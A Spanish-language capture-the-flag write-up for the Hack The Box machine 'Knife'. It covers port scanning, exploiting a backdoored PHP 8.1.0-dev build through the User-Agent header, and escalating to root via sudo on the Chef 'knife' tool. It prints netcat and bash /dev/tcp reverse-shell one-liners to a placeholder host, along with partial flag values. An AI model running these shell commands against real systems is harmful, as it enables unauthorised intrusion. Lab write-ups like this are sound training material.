Knife Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
351e83f1...
#Root Flag
4bc62e74...

En este writeup vamos a ver cómo resolver la máquina Knife de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si hacemos un nmap vemos que solo tiene dos puertos abiertos:

$ nmap -p- --open -n -T5 -v 10.10.10.242 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Emergent Medical Idea Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 22 y puerto 80.

Al abrir el navegador web y inspeccionar las cabeceras encontramos lo siguiente:

header
header

La web está utilizando una versión de desarrollo de PHP (php/8.1.0-dev)

Capturar User Flag

Existe este exploit https://github.com/flast101/php-8.1.0-dev-backdoor-rce que mediante el uso de la cabecera User-Agent permite crear una conexión con el servidor y enviar comandos remotos.

Si lo ejecutamos obtendremos una backdoor al sistema:

backdoor
backdoor

El siguiente paso es levantarnos un netcat y lanzar una petición desde el backdoor para obtener una shell más interactiva.

En la máquina objetivo ejecutar lo siguiente:

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Una vez que tengamos la conexión con netcat podemos irnos al directorio /home/james y ver el fichero user.txt

Capturar Root Flag

Para hacer la escalada de privilegios y capturar la root flag podemos ver que permisos tiene el usuario james. Para ello:

$ sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife

Vemos que este usuario puede ejecutar el fichero /usr/bin/knife como root.

Knife es una utilidad de ruby que permite ejecutar comandos para administrar un repositorio de Chef.

Mirando en su documentación vemos que tiene una opción la cual permite ejecutar tanto scripts de ruby como comandos del sistema.

/usr/bin/knife exec <options>

Para ello nos vamos a ir al directorio /tmp y ahí crearemos nuestro script de ruby invocando a una bash.

$ cd /tmp $ echo "system('/bin/bash')" > test.rb $ sudo /usr/bin/knife exec test.rb id uid=0(root) gid=0(root) groups=0(root)

Con esto ya hemos escalado privilegios y somos root. Ya podemos ir al directorio /root para ver la flag root en el fichero root.txt

Otra forma que podríamos conseguir lo mismo es abrirnos una nueva conexión con netcat y poner en el script de ruby lo siguiente:

$ echo '%x[bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]' > x.rb $ sudo /usr/bin/knife exec x.rb

Esto nos abriría la conexión como root en la nueva sesión netcat aunque esto también nos serviría si en lugar de escribir un script lo ejecutamos directamente en la llamada a knife con el parámetro -E

$ sudo /usr/bin/knife exec -E '%x[/bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]'

También te puede interesar

Kotarak Writeup

Kotarak Writeup

Laboratory Writeup

Laboratory Writeup

Lame Writeup

Lame Writeup